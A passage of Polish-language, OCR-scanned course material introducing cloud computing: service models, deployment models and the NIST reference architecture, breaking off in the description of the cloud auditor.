Chmura obliczeniowa
Cele ksztatcenia

Przetwarzanie w chmurze to wschodzgca technologia, ktdra zapewnia ustugi obliczeniowe, takie jak
online aplikacje biznesowe, przechowywania danych online i poczty internetowej przez Internet.
Wdrozenie chmury umozliwia rozproszong site robocza, zmniejsza wydatki organizacji, zapewnia
bezpieczenstwo danych itp. Ze wzgledu na te korzysci wiele organizacji biznesowych migruje obecnie
swoje dane i infrastrukture do chmury. Jednak srodowisko chmurowe stwarza rowniez wiele zagrozen
i ryzyk dla organizacji. Atakujacy wykorzystujg luki w oprogramowaniu w chmurze, aby uzyskac
nieautoryzowany dostep do przechowywanych w nim cennych danych. W obecnym scenariuszu
bezpieczenstwo chmury odgrywa wazng role zaréwno dla oséb prywatnych, jak i firm. W tym module
omoéwiono rézne techniki wykorzystywane do hakowania srodowiska chmurowego, ktére ujawniajg
ukryte luki w zabezpieczeniach. Zrozumienie tych atakow i luk w zabezpieczeniach pomaga zaréwno
dostawcy ustug w chmurze, jak i klientowi we wdrazaniu odpowiednich zasad bezpieczeristwa i
srodkéow w celu ochrony infrastruktury chmury przed ewoluujgcymi zagrozeniami bezpieczenstwa
cybernetycznego. Ten modut rozpoczyna sie od przeglagdu koncepcji przetwarzania w chmurze.
Woyjasnia technologie konteneréw i bezserwerowe $rodowisko obliczeniowe oraz zapewnia wglad w
zagrozenia przetwarzania w chmurze i metodologie hakowania w chmurze. Na koniec omdwiono
bezpieczenstwo przetwarzania w chmurze i narzedzia niezbedne do spetnienia wymagan
bezpieczenstwa.

Koncepcje przetwarzania w chmurze

Cloud computing dostarcza réznego rodzaju ustugi i aplikacje przez Internet. Ustugi te umozliwiajg
uzytkownikom korzystanie z oprogramowania i sprzetu zarzadzanego przez osoby trzecie w
lokalizacjach zdalnych. Gtéwni dostawcy ustug w chmurze to Google, Amazon i Microsoft. Ta sekcja
przedstawia przetwarzanie w chmurze, rodzaje ustug przetwarzania w chmurze, podziat obowigzkéw,
modele wdrazania chmury, architekture referencyjng NIST i jej zalety, architekture przechowywania w
chmurze oraz dostawcéw ustug w chmurze.

Wprowadzenie do przetwarzania w chmurze

Przetwarzanie w chmurze to dostarczanie mozliwosci IT na zgdanie, w ramach ktérego infrastruktura
IT i aplikacje s udostepniane subskrybentom jako mierzone ustugi za posrednictwem sieci. Przyktady
rozwigzan w chmurze obejmujg Gmail, Facebook, Dropbox i Salesforce.com.

Charakterystyka przetwarzania w chmurze

Ponizej omoéwiono cechy przetwarzania w chmurze, ktére dzi$ przyciggajg wiele firm do przyjecia
technologii chmury.

Samoobstuga na zadanie: rodzaj ustugi Swiadczonej przez dostawcéw ustug w chmurze, ktéra
umozliwia udostepnianie zasobéw w chmurze, takich jak moc obliczeniowa, pamie¢ masowa i siec,
zawsze na zgdanie, bez koniecznosci interakcji cztowieka z dostawcami ustug.

Rozproszona pamie¢ masowa: Rozproszona pamie¢ masowa w chmurze zapewnia lepszg skalowalnos¢,
dostepnos¢ i niezawodnos$¢ danych. Jednak rozproszone przechowywanie w chmurze moze
potencjalnie budzi¢ obawy dotyczace bezpieczenstwa i zgodnosci.

Btyskawiczna elastycznosé: Chmura oferuje natychmiastowe udostepnianie mozliwosci szybkiego
skalowania w goére lub w dét, zgodnie z zapotrzebowaniem. Konsumentom wydaje sie, ze zasoby



dostepne do zaopatrzenia sg nieograniczone i mozna je kupi¢ w dowolnej ilosci w dowolnym
momencie.

Zautomatyzowane zarzadzanie: minimalizujgc zaangazowanie uzytkownikéw, automatyzacja w
chmurze przyspiesza proces i zmniejsza koszty pracy oraz mozliwosé wystgpienia btedu ludzkiego.

Szeroki dostep do sieci: Zasoby w chmurze sg dostepne w sieci i dostepne za pomocg standardowych
procedur za posrednictwem szerokiej gamy platform, w tym laptopdéw, telefondw komédrkowych i
osobistych asystentéw cyfrowych (PDA).

taczenie zasobow: Dostawca ustug w chmurze taczy wszystkie zasoby, aby obstugiwac¢ wielu klientéw
w Srodowisku wielu dzierzawcéw, przy czym zasoby fizyczne i wirtualne sg dynamicznie przydzielane i
ponownie przydzielane na zadanie przez konsumenta chmury.

Mierzona ustuga: systemy chmurowe wykorzystujg metode pomiaru ,,pay-per-use”. Abonenci ptaca za
ustugi w chmurze w ramach abonamentu miesiecznego lub w zaleznosci od wykorzystania zasobodw,
takich jak poziomy pamieci masowej, moc obliczeniowa i przepustowos¢. Dostawcy ustug w chmurze
monitorujg, kontrolujg, raportujg i naliczajg optaty za zuzycie zasobdw przez klientéw z petna
przejrzystoscia.

Technologia wirtualizacji: Technologia wirtualizacji w chmurze umozliwia szybkie skalowanie zasobdéw
w sposob nieosiggalny dla srodowisk niezwirtualizowanych.

Ograniczenia przetwarzania w chmurze

Ograniczona kontrola i elastycznos¢ organizacji

Sktonnos¢ do przestojéw i innych problemdw technicznych
Kwestie bezpieczerstwa, prywatnosci i zgodnosci

Kontrakty i blokady

Uzaleznienie od potfaczen sieciowych

Potencjalna podatnosc¢ na ataki, poniewaz kazdy komponent jest w trybie online
Trudnosci w migracji od jednego ustugodawcy do drugiego
Rodzaje ustug przetwarzania w chmurze

Ustugi w chmurze sg ogdlnie podzielone na nastepujace kategorie:
Infrastruktura jako ustuga (laaS)

Ta ustuga przetwarzania w chmurze umozliwia subskrybentom korzystanie na zgdanie z podstawowych
zasobow informatycznych, takich jak moc obliczeniowa, wirtualizacja, przechowywanie danych i sieé.
Ta ustuga udostepnia maszyny wirtualne i inny abstrakcyjny sprzet i systemy operacyjne (OS), ktorymi
mozna sterowaé za posrednictwem interfejsu programowania aplikacji (API) ustugi. Poniewaz
dostawcy ustug w chmurze sg odpowiedzialni za zarzadzanie bazowa infrastrukturg przetwarzania w
chmurze, abonenci mogg unikngé kosztéw kapitatu ludzkiego, sprzetu i innych (np. Amazon EC2,
Microsoft OneDrive, Rackspace).

Zalety:

o Dynamiczne skalowanie infrastruktury



o Gwarantowany czas pracy

o Automatyzacja zadan administracyjnych

o Elastyczne réwnowazenie obcigzenia (ELB)

o Ustugi oparte na zasadach

o Globalna dostepnos¢

Wady:

0 Bezpieczenstwo oprogramowania jest zagrozone (dostawcy zewnetrzni sg bardziej podatni na ataki)
o Problemy z wydajnoscig i niska predkosc potaczenia

Platforma jako ustuga (PaaS)

Ten rodzaj ustugi przetwarzania w chmurze pozwala na rozwdj aplikacji i ustug. Subskrybenci nie musza
kupowac i zarzadzac oprogramowaniem i infrastrukturg, ale majg wtadze nad wdrozonymi aplikacjami
i by¢ moze konfiguracjami srodowiska hostingu aplikacji. Oferuje narzedzia programistyczne,
zarzadzanie konfiguracjg i platformy wdrazania na Zzadanie, ktére mogg by¢ uzywane przez
subskrybentdw do tworzenia niestandardowych aplikacji (np. Google App Engine, Salesforce,
Microsoft Azure). Zalety pisania aplikacji w $rodowisku PaaS obejmujg dynamiczng skalowalnos¢,
automatyczne tworzenie kopii zapasowych i inne ustugi platformy, bez koniecznosci jawnego
kodowania ich.

Zalety:

o Uproszczone wdrazanie

o Gotowe funkcje biznesowe

o Nizsze ryzyko bezpieczeristwa w poréwnaniu z laaS
o Natychmiastowa spotecznosé

o Model ptatnosci za wykorzystanie

o Skalowalnos¢

Wady:

o Blokada sprzedawcy

o Prywatnos¢ danych

o Integracja z pozostatymi aplikacjami systemu
Oprogramowanie jako ustuga (Saa$)

Ta ustuga przetwarzania w chmurze oferuje abonentom aplikacje na zgdanie przez Internet. Dostawca
pobiera opfaty za ustuge na zasadzie ptatnosci za uzycie, subskrypcji, reklam lub udostepniania wielu
uzytkownikom (np. internetowych aplikacji biurowych, takich jak Dokumenty lub Kalendarz Google,
Salesforce CRM i Freshbooks).

Zalety:

o Niski koszt



o tatwa administracja

o Globalna dostepnos¢

o Wysoka kompatybilnos¢ (nie jest wymagany zaden specjalistyczny sprzet ani oprogramowanie)
Wady:

o Kwestie bezpieczenstwa i opdznien

o Catkowite uzaleznienie od Internetu

o Przefaczanie miedzy dostawcami Saas jest trudne

Tozsamos¢ jako ustuga (IDaaS)

Ta ustuga przetwarzania w chmurze oferuje subskrybowanym przedsiebiorstwom ustugi
uwierzytelniania i jest zarzgdzana przez zewnetrznego dostawce w celu Swiadczenia ustug zarzadzania
tozsamoscig i dostepem. Zapewnia ustugi, takie jak jednokrotne logowanie (SSO), uwierzytelnianie
wielosktadnikowe (MFA), zarzadzanie i administrowanie tozsamoscig (IGA), zarzadzanie dostepem i
gromadzenie danych wywiadowczych. Ustugi te umozliwiajg subskrybentom bezpieczniejszy dostep do
danych wrazliwych zaréwno w siedzibie firmy, jak i poza nig (np. Onelogin, Centrify Identity Service,
Microsoft Azure Active Directory, Okta).

Zalety:

o Niski koszt

o Lepsze bezpieczenstwo

o Uproszczenie zgodnosci

o Skrécony czas

o Centralne zarzadzanie kontami uzytkownikéw
Wady:

o Awaria jednego serwera moze zaktéci¢ dziatanie ustugi lub spowodowac¢ redundancje na innych
serwerach uwierzytelniajgcych

o Podatne na ataki polegajace na przejeciu konta
Bezpieczenstwo jako ustuga (SECaaS)

Ten model przetwarzania w chmurze integruje ustugi bezpieczeristwa z infrastrukturg korporacyjng w
optacalny sposéb. Jest rozwijany w oparciu o SaaS i nie wymaga zadnego fizycznego sprzetu ani
sprzetu. W zwigzku z tym radykalnie zmniejsza koszty w porédwnaniu z kosztami ponoszonymi, gdy
organizacje ustanawiajg wtasne funkcje bezpieczenstwa. Swiadczy ustugi takie jak testy penetracyjne,
uwierzytelnianie, wykrywanie wtaman, anty-malware, incydenty bezpieczenstwa i zarzgdzanie
zdarzeniami (np. eSentire MDR, Switchfast Technologies, OneNeck IT Solutions, Foundstone Managed
Security Services).

Zalety:
o Niski koszt

0 Zmniejszona ztozonos¢



o Ciggta ochrona

o Lepsze bezpieczenstwo dzieki najlepszej wiedzy na temat bezpieczeristwa
o Najnowsze i zaktualizowane narzedzia bezpieczenstwa

o Szybkie udostepnianie uzytkownikow

o0 Wieksza zwinnos¢

o Zwiekszony czas poswiecony na kluczowe kompetencje
Wady:

o Zwiekszone powierzchnie ataku i luki w zabezpieczeniach
o Nieznany profil ryzyka

o Niebezpieczne interfejsy API

o Brak dostosowania do potrzeb biznesowych

o Podatne na ataki polegajgce na przejeciu konta
Kontener jako ustuga (CaaS)

Ten model przetwarzania w chmurze zapewnia swoim abonentom kontenery i klastry jako ustuge.
Swiadczy ustugi takie jak wirtualizacja silnikéw konteneréw, zarzadzanie kontenerami, aplikacjami i
klastrami poprzez portal internetowy lub API. Korzystajgc z tych ustug, subskrybenci mogg tworzy¢
rozbudowane, skalowalne aplikacje kontenerowe za posrednictwem chmury lub lokalnych centréw
danych. CaaS dziedziczy funkcje zaréwno laas, jak i PaaS (np. Amazon EC2, Google Kubernetes Engine
(GKE)).

Zalety:

o Usprawniony rozwdj aplikacji kontenerowych
o Ptatno$¢ za zasoby

o Podwyzszona jakos¢

o Przenosny i niezawodny rozwdéj aplikacji

o Niski koszt

o Niewiele zasobdéw

o Awaria kontenera aplikacji nie wptywa na inne kontenery
o Lepsze bezpieczenstwo

o Ulepszone zarzadzanie poprawkami

o Poprawiona reakcja na btedy

o Wysoka skalowalnos¢

o Usprawniony rozwéj

Wady:



o Wysokie koszty operacyjne
0 Za wdrozenie platformy odpowiada programista
Funkcja jako ustuga (Faa$S)

Ta ustuga przetwarzania w chmurze zapewnia platforme do tworzenia, uruchamiania i zarzadzania
funkcjonalnosciami aplikacji bez ztozonosci budowania i utrzymywania niezbednej infrastruktury
(architektura bezserwerowa). Model ten jest najczesciej wykorzystywany przy tworzeniu aplikacji dla
mikroserwiséw. Zapewnia abonentom funkcjonalnos¢ na zadanie, ktdra wytgcza infrastrukture
pomocnicza i nie wigze sie z zadnymi opfatami, gdy nie jest uzywana. Swiadczy ustugi przetwarzania
danych, takie jak ustugi Internetu rzeczy (loT) dla podtgczonych urzadzen, aplikacji mobilnych i
internetowych oraz przetwarzanie wsadowe i strumieniowe (np. AWS Lambda, Google Cloud
Functions, Microsoft Azure Functions, Oracle Functions).

Zalety:

o Ptatno$é za uzycie

o Niski koszt

o Wydajne aktualizacje zabezpieczen
o tatwe wdrazanie

o Wysoka skalowalnos¢

Wady:

o Duze opdznienie

0 Ograniczenia pamieci

o Ograniczenia dotyczace monitorowania i debugowania
o Niestabilne narzedzia i frameworki
o Blokada sprzedawcy

Wszystko jako ustuga (XaaS)

Wszystko jako ustuga lub wszystko jako ustuga (XaaS) to ustuga przetwarzania w chmurze i zdalnego
dostepu, ktora oferuje wszystko jako ustuge przez Internet w zaleznos$ci od zapotrzebowania
uzytkownika. Ustuga moze obejmowac produkty cyfrowe, takie jak narzedzia, aplikacje i technologie,
a takze inne rodzaje ustug, takie jak zywnosé, transport i konsultacje medyczne. Ustuga jest ptatna
wedtug zuzycia i nie mozna jej kupi¢ ani uzyskaé licencji na zwykte produkty. Oprdcz typowych ustug w
chmurze, takich jak oprogramowanie jako ustuga (SaaS), platforma jako ustuga (PaaS) i infrastruktura
jako ustuga (laaS), XaaS obejmuje ustugi takie jak sie¢ jako ustuga (NaaS), pamieé¢ masowa jako ustuga
( STaaS), testowanie jako ustuga (TaaS), ztosliwe oprogramowanie jako ustuga (Maa$S) i odzyskiwanie
po awarii jako ustuga (DRaaS). XaaS oferuje bezpieczne ustugi, takie jak zarzadzanie relacjami z
klientami (CRM), przetwarzanie w chmurze i ustugi katalogowe (np. NetApp, AWS Elastic Beanstalk,
Fleroku i Apache Stratos).

Zalety:

o Wysoka skalowalnos¢



o Niezalezne od lokalizacji i urzadzen

o Tolerancja btedéw i zmniejszona redundancja

o Zmniejszone naktady inwestycyjne

o Poprawia proces biznesowy, wspierajgc szybka elastycznos¢ i udostepnianie zasobéw
Wady:

o Prawdopodobienstwo awarii ustugi, poniewaz XaaS jest zalezny od Internetu

o Problemy z wydajnoscig spowodowane duzym wykorzystaniem tych samych zasobéw
o Bardzo ztozone i czasami trudne do rozwigzania

Zapory jako ustuga (FWaa$)

Ta ustuga przetwarzania w chmurze chroni uzytkownikéw i organizacje przed zagrozeniami zaréwno
wewnetrznymi, jak i zewnetrznymi, filtrujac ruch sieciowy. FWaa$S obejmuje rozszerzone mozliwosci
analizy danych, w tym mozliwos¢ wykrywania atakéw ztosliwego oprogramowania, a takze funkcje
bezpieczenstwa, takie jak filtrowanie pakietéw, analiza sieci i IPsec (np. Zscaler Cloud Firewall,
SecurityHQ, Secucloud, Fortinet, Cisco i Sophos).

Zalety:

o Blokuje ztosliwy ruch sieciowy

o Chroni wiele wdrozen w chmurze
o Standaryzowane wdrazanie polityki
o Poprawiona widocznos¢ sieci

o Zwiekszona niezawodnos¢

o Prostsza architektura

o tatwiejsza konserwacja

Wady:

o Odpornos¢ na akceptacje

o Problemy z opdznieniem sieci
Desktop jako ustuga (DaaS)

Ta ustuga przetwarzania w chmurze oferuje subskrybentom wirtualne pulpity i aplikacje na zadanie.
Dostawcy ustug w chmurze sg odpowiedzialni za zapewnienie infrastruktury, mocy obliczeniowej,
przechowywania danych, tworzenia kopii zapasowych, instalowania poprawek i konserwacji. Dostawcy
chmury dostarczajg DaaS jako subskrypcje dla wielu dzierzawcéw. Dostawca pobiera optaty za ustuge
w przewidywalnym modelu ptatnosci zgodnie z potrzebami (np. Amazon Workspaces, Citrix Managed
Desktops i Azure Windows Virtual Desktop).

Zalety:

o Globalna dostepnos¢



o Uproszczone zarzadzanie

o Skrécony czas przestojow

o Niski koszt

o0 Wysoka elastycznosc

o Wysoka skalowalnos¢

Wady:

o Kwestie bezpieczenstwa

o Problemy z tgcznoscia sieciowg

o Wysokie koszty licencji

Mobilne zaplecze jako ustuga (MBaa$)

Ta ustuga przetwarzania w chmurze umozliwia twdércom aplikacji integracje aplikacji front-end z
infrastrukturg zaplecza za posrednictwem interfejsu programowania aplikacji (APl) i zestawu
programistycznego (SDK). Ta ustuga skraca czas, jaki programisci spedzajg na rozwijaniu
funkcjonalnosci  zaplecza. Zapewnia zarzadzanie uzytkownikami, powiadomienia push,
przechowywanie w chmurze, zarzgdzanie bazami danych i geolokalizacje w celu tworzenia aplikacji (np.
Google Firebase, AWS Amplify, Kinvey, Apple CloudKit i Backendless Cloud).

Zalety:

o Poprawiona efektywnos¢ rozwoju

o Wysoka elastycznosé

o Skalowalnosé

o Model ptatnosci zgodnie z rzeczywistym uzyciem
Wady:

o Kwestie bezpieczenstwa

o Wysokie koszty poczatkowe

Model biznesowy ,,Maszyny jako ustuga” (Maa$).

Ten typ modelu przetwarzania w chmurze, znany réwniez jako Equipment-as-a-Service (EaaS), pozwala
producentom sprzedawac¢ lub dzierzawi¢ maszyny klientom i otrzymywac¢ procent zyskéw
generowanych przez te maszyny. Model ten jest szeroko stosowany i wdrazany z korzyscig zaréwno
dla producentéw, jak i klientow. Jest to wyrafinowany model chmury, ktéry umozliwia klientowi i
producentowi generowanie i $ledzenie produktéw w czasie rzeczywistym z maszyny.

Zalety:
o Niski koszt inwestycji
o Poprawiona zdolnos¢ adaptacji

o Pewne i efektywne kosztowo Zrédto dochodéw



o Poprawa jakosci i ilosci produktow

Wady:

o Konserwacja i naprawy sg drogie

0 Maszyny zastepujg pracownikéw, co skutkuje bezrobociem
Podziat obowigzkéw w chmurze

W chmurze obliczeniowe] niezbedne jest rozdzielenie obowigzkéw abonentéw i dostawcéw ustug.
Podziat obowigzkéw zapobiega konfliktom intereséw, dziataniom niezgodnym z prawem, oszustwom,
naduzyciom i btedom oraz pomaga w identyfikowaniu btedéw kontroli bezpieczenstwa, w tym
kradziezy informacji, naruszen bezpieczenstwa i obchodzenia kontroli bezpieczeristwa. Pomaga
rowniez w ograniczeniu wptywu posiadanego przez jakgkolwiek osobe i zapewnia, ze nie ma
sprzecznych obowigzkow. Istniejg gtdwnie trzy rodzaje ustug w chmurze; mianowicie laaS, Paa$S i SaaS.
Podczas uzyskiwania dostepu do okreslonych chmur i ich modeli niezbedna jest znajomosc¢ ograniczen
kazdego modelu dostarczania ustug w chmurze.

Modele wdrazania w chmurze

Wybdér modelu wdrazania w chmurze jest oparty na wymaganiach przedsiebiorstwa. Ustugi w chmurze
mozna wdrazac na rdézne sposoby, zgodnie z ponizszymi czynnikami:

Lokalizacja hosta ustug przetwarzania w chmurze

Wymagania bezpieczerstwa

Udostepnianie ustug w chmurze

Mozliwosc¢ zarzadzania niektérymi lub wszystkimi ustugami w chmurze
Mozliwosci dostosowywania

Dostepne sg cztery standardowe modele wdrazania w chmurze
Chmura publiczna

W tym modelu dostawca udostepnia publicznie ustugi takie jak aplikacje, serwery i przechowywanie
danych przez Internet. W zwigzku z tym odpowiada za stworzenie i state utrzymanie chmury publicznej
oraz jej zasobéw informatycznych. Ustugi chmury publicznej mogg by¢ bezptatne lub oparte na modelu
ptatnosci za wykorzystanie (np. Amazon Elastic Compute Cloud (EC2), Google App Engine, Windows
Azure Services Platform, IBM Bluemix).

Zalety:
e Prostota i wydajnos¢
* Niska cena

e Skrécony czas (w przypadku awarii serwera, koniecznosci ponownego uruchomienia lub ponownej
konfiguracji chmury)

 Brak konserwacji (ustuga chmury publicznej jest hostowana poza siedzibg firmy)
e Brak uméw (brak dtugoterminowych zobowigzan)

Wady:



» Bezpieczenstwo nie jest gwarantowane

e Brak kontroli (dostawcy zewnetrzni s3 odpowiedzialni)

e Niska predkos¢ (zalezy od potgczen internetowych; szybkos¢ przesytania danych jest ograniczona)
Prywatna chmura

Chmura prywatna, znana rowniez jako chmura wewnetrzna lub korporacyjna, to infrastruktura
chmurowa obstugiwana przez jedng organizacje i wdrozona w korporacyjnym zaporze sieciowej.
Organizacje wdrazajg infrastruktury chmury prywatnej, aby zachowa¢ petng kontrole nad danymi
korporacyjnymi (np. BMC Software, VMware vRealize Suite, SAP Cloud Platform).

Zalety:
¢ Wzmocnienie bezpieczenstwa (ustugi sg dedykowane dla jednej organizacji)
e Zwiekszona kontrola nad zasobami (organizacja rzadzi)

¢ Wysoka wydajnosé (wdrozenie chmury w zaporze ogniowej oznacza wysokie szybkosci przesytania
danych)

¢ Konfigurowalna wydajnosc¢ sprzetu, sieci i pamieci masowej (poniewaz organizacja posiada prywatng
chmure)

* Dane dotyczace zgodnosci z przepisami Sarbanes Oxley, PCI DSS i HIPAA s3 znacznie tatwiejsze do
uzyskania

Wady:

e Wysoki koszt

e Konserwacja na miejscu
Chmura spotecznosci

Jest to infrastruktura dla wielu dzierzawcdéw, wspodtdzielona przez organizacje z okreslonej
spotecznosci, ktére majg wspdlne problemy zwigzane z przetwarzaniem danych, takie jak
bezpieczenstwo, zgodnos¢ z przepisami, wymagania dotyczgce wydajnosci i jurysdykcja. Chmura
spotecznosciowa moze dziata¢ lokalnie lub poza nig i by¢ zarzgdzana przez uczestniczgce organizacje
lub przez zewnetrznego dostawce ustug zarzadzanych (np. Cisco Cloud Solutions, Salesforce Health
Cloud).

Zalety:

¢ Tansze w poréwnaniu z chmurg prywatng

e Elastycznos¢ w zaspokajaniu potrzeb spotecznosci

e Zgodnosc z przepisami prawa

* Wysoka skalowalnos¢

¢ Organizacje mogg udostepnia¢ pule zasobow z dowolnego miejsca za posrednictwem Internetu
Wady:

¢ Konkurencja miedzy konsumentami w wykorzystaniu zasobdow



* Niedoktadne przewidywanie wymaganych zasobdéw

¢ Brak osobowosci prawnej w przypadku odpowiedzialnosci

¢ Umiarkowane bezpieczenstwo (inni najemcy mogg mie¢ dostep do danych)
» Kwestie zwigzane z zaufaniem i bezpieczeristwem miedzy najemcami
Chmura hybrydowa

Jest to srodowisko chmurowe sktadajace sie z dwdch lub wiecej chmur (prywatnej, publicznej lub
spotecznosciowej), ktdre pozostajg unikalnymi jednostkami, ale sg ze sobg potaczone, aby oferowad
korzysci ptynace z wielu modeli wdrazania. W tym modelu organizacja udostepnia i zarzadza
niektdrymi zasobami wewnetrznie, a innymi zewnetrznie (np. Microsoft Azure, Zymr, Parangat Cloud
Computing, Logicalis).

Przyktad: Organizacja wykonuje swoje krytyczne dziatania w chmurze prywatnej (np. operacyjne dane
klientéw) oraz czynnosci niekrytyczne w chmurze publiczne;j.

Zalety:

¢ Wysoka skalowalnos¢ (obejmuje zaréwno chmury publiczne, jak i prywatne)
¢ Oferuje zaréwno bezpieczne, jak i skalowalne zasoby publiczne

* Wysoki poziom bezpieczenstwa (obejmuje prywatng chmure)

® Pozwala redukowac i zarzadzac¢ kosztami zgodnie z wymaganiami

Wady:

e Komunikacja na poziomie sieci moze powodowac konflikty, poniewaz korzysta zaréwno z sieci
publicznej, jak i sieciowej prywatnej chmury

e Trudno osiggna¢ zgodnos¢ danych

e Organizacja polegajgca na wewnetrznej infrastrukturze IT w przypadku awarii (utrzymanie
redundancji w centrach danych w celu przezwyciezenia)

e Kompleksowe umowy o poziomie ustug (SLA)
Wiele chmur

Jest to dynamiczne, heterogeniczne srodowisko, ktdre taczy obcigzenia wielu dostawcédw ustug
chmurowych zarzadzanych za pomocag jednego zastrzezonego interfejsu w celu osiggniecia
dtugoterminowych celéw biznesowych. Multi-chmura korzysta z wielu ustug obliczeniowych i pamieci
masowych od réznych dostawcéw chmury. Dystrybuuje zasoby chmury, oprogramowanie, aplikacje
itp. w réznych $rodowiskach hostingu w chmurze. Srodowiska wielochmurowe sg w wiekszosci
catkowicie prywatne, catkowicie publiczne lub stanowig kombinacje obu. Organizacje wykorzystujg
Srodowiska wielochmurowe do dystrybucji zasobéw obliczeniowych, zwiekszajgc tym samym moc
obliczeniowg i mozliwosci przechowywania oraz w duzym stopniu ograniczajac ryzyko utraty danych i
przestojow (np. Microsoft Azure Arc, Google Cloud Anthos).

Zalety:

» Wysoka niezawodnos¢ i mate opdznienia



e Elastycznos¢ w spetnianiu potrzeb biznesowych

¢ Optymalizacja kosztow i wydajnosci oraz ograniczanie ryzyka

e Niskie ryzyko rozproszonych atakow typu ,,odmowa ustugi” (DDoS).

¢ Zwiekszona dostepnosé pamieci masowej i moc obliczeniowa

* Niskie prawdopodobienstwo uzaleznienia od dostawcy

Wady:

e Awaria systemu wielochmurowego wptywa na elastycznos¢ biznesowg
e Korzystanie z ustug wiecej niz jednego dostawcy powoduje redundancje
e Zagrozenia bezpieczenstwa zwigzane ze ztozong i duzg powierzchnig ataku
e Koszty operacyjne

Inne modele wdrazania w chmurze obejmujg nastepujgce elementy.
Rozproszona chmura

Jest to scentralizowane srodowisko chmurowe sktadajace sie z rozproszonych geograficznie chmur
publicznych lub prywatnych kontrolowanych na jednej ptaszczyznie sterowania w celu swiadczenia
ustug uzytkownikom koncowym znajdujgcym sie na miejscu lub poza nim. W tym modelu uzytkownik
koncowy moze uzyskiwaé dostep do danych w dowolnym miejscu jako lokalne centrum danych
zapewniajgce mozliwosci przetwarzania brzegowego w celu poprawy prywatnosci danych i spetnienia
lokalnych zasad zarzadzania. Swiadczy ustugi uzytkownikom koAcowym tak, jakby uzyskiwali dostep do
zdalnych danych na ich lokalnym serwerze. W oparciu o wymagania, rozproszone ustugi w chmurze
moga by¢ wykorzystywane w réznych typach lokalizacji, takich jak sieci, operatorzy i brzegi klientéw
oraz jako lokalne centra danych. Rozproszona chmura zapewnia ustugi automatyzacji aplikacji, takich
jak sztuczna inteligencja (Al), uczenie maszynowe (ML) i Internet rzeczy (loT) (np. Google Distributed
Cloud i Cloudflare CDN).

Zalety:
* Wysoka wydajnosc
® Zmniejszone opdznienie

e Wysokie zarzgdzanie i spdjnos¢ operacyjna w poréwnaniu z chmurami hybrydowymi i wieloma
chmurami

Modernizacja na miejscu

e Mozliwosci przetwarzania brzegowego

* Mozliwosc¢ lokalnego przetwarzania danych
¢ Surowe zabezpieczenia danych

e Aplikacje automatyki (Al, ML, loT itp.)
Wady:

e Mogg wystgpic luki w zabezpieczeniach



» Wysoki koszt (koszt wdrozenia infrastruktury sieciowej)
e Ograniczona pomoc w zakresie oprogramowania

¢ Kompleksowe rozwigzywanie problemoéw

Polichmura

Ten typ technologii chmurowej obejmuje kilka rodzajow ustug w chmurze, ktére moga by¢ dostarczane
do réznych innych chmur. W przeciwienstwie do wielu chmur, zapewnia funkcje réznych chmur na
jednej platformie, aby zapewni¢ uzytkownikom funkcje z réznych ustug w chmurze w zaleznosci od ich
wymagan. Ten model pomaga réwniez uzytkownikom wybrac¢ konkretng funkcje wymagang od kazdej
chmury do wykonywania réznych zadan w ich srodowisku biznesowym. Dostarcza specjalistyczne
aplikacje do automatyzacji, takie jak ustugi Al i ML (np. Google Cloud Platform (GCP) i Amazon Web
Services (AWS)).

Zalety:

¢ Wysoka elastycznosc

e Wybodr srodowiskowy

e Optymalizacja infrastruktury i zwrotu z inwestycji (ROI).
o Swiadczy specjalistyczne ustugi Al i ML

e Optacalny

¢ Wysoka wydajnosc

Wady:

e Czasochtonna konfiguracja poczatkowa

¢ Brak statego narzedzia

e Wysokie koszty R&D przed wdrozeniem narzedzia
¢ Nieosiggalne dla matych i srednich firm

* Brak statego modelu

Architektura referencyjna wdrazania chmury NIST

Ponizszy rysunek przedstawia przeglad architektury referencyjnej przetwarzania w chmurze NIST;
wyswietla gtéwnych aktoréw, dziatania i funkcje w przetwarzaniu w chmurze. Diagram ilustruje ogdlng
architekture wysokiego poziomu, przeznaczong do lepszego zrozumienia zastosowan, wymagan, cech
i standardéw przetwarzania w chmurze.
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Pieciu znaczacych aktorow to:
Konsument w chmurze

Konsument chmury to osoba lub organizacja, ktdra utrzymuje relacje biznesowe z dostawcami ustug w
chmurze (CSP) i korzysta z ustug przetwarzania w chmurze. Konsument chmury przeglada zadane ustugi
w katalogu ustug CSP, zawiera umowy o Swiadczenie ustug z CSP (bezposrednio lub za posrednictwem
brokera w chmurze) i korzysta z ustug. CSP rozlicza konsumenta na podstawie Swiadczonych ustug. CSP
powinien wypetni¢ umowe dotyczacg poziomu ustug (SLA), w ktérej konsument chmury okresla
techniczne wymagania dotyczgce wydajnosci, takie jak jakos¢ ustug, bezpieczenstwo i $rodki zaradcze
w przypadku awarii wydajnosci. CSP moze rowniez okresli¢ ewentualne ograniczenia i obowigzki, ktére
konsumenci ustug w chmurze muszg zaakceptowad. Ustugi dostepne dla konsumenta w chmurze w
modelach PaaS$, laaS i SaaS sg takie same co nastepuje:

o PaaS - baza danych (DB), Business Intelligence, wdrazanie aplikacji, tworzenie i testowanie oraz
integracja

o laaS - przechowywanie, zarzgdzanie ustugami, sie¢ dostarczania tresci (CDN), hosting platformy,
tworzenie kopii zapasowych i odzyskiwanie oraz przetwarzanie

0 SaaS - zasoby ludzkie, planowanie zasobdéw przedsiebiorstwa (ERP), sprzedaz, zarzadzanie relacjami
z klientami (CRM), wspdtpraca, zarzadzanie dokumentami, wydajnos¢ poczty elektronicznej i biura,
zarzadzanie trescig, ustugi finansowe i sieci spotecznosciowe.

Dostawca chmury

Dostawca chmury to osoba lub organizacja, ktéra nabywa i zarzadza infrastrukturg obliczeniowg
przeznaczong do S$wiadczenia ustug (bezposrednio lub za posrednictwem brokera chmury)
zainteresowanym stronom za posrednictwem dostepu do sieci.

Przewoznik w chmurze



Operator chmury dziata jako posrednik, ktéry zapewnia tgcznosé i ustugi transportowe miedzy CSP a
konsumentami chmury. Operator chmury zapewnia konsumentom dostep za posrednictwem sieci,
urzadzen telekomunikacyjnych lub innych urzadzen dostepowych.

Audytor chmury

Audytor chmury to strona, ktdra przeprowadza niezalezne badanie kontroli ustug w chmurze w celu
wyrazenia opinii na ich temat. Audyty weryfikujg przestrzeganie standardéw poprzez przeglad
obiektywnych dowodéw. Audytor chmury moze ocenic ustugi Swiadczone przez CSP w zakresie kontroli
bezpieczenstwa (zabezpieczenia zarzgdcze, operacyjne i techniczne majace na celu ochrone poufnosci,
integralnosci i dostepnosci systemu i jego informacji), wptywu na prywatnos¢ (zgodnos¢ z
obowigzujgcymi przepisami i regulacjami dotyczgcymi prywatnosci regulujgce prywatnos¢ danej
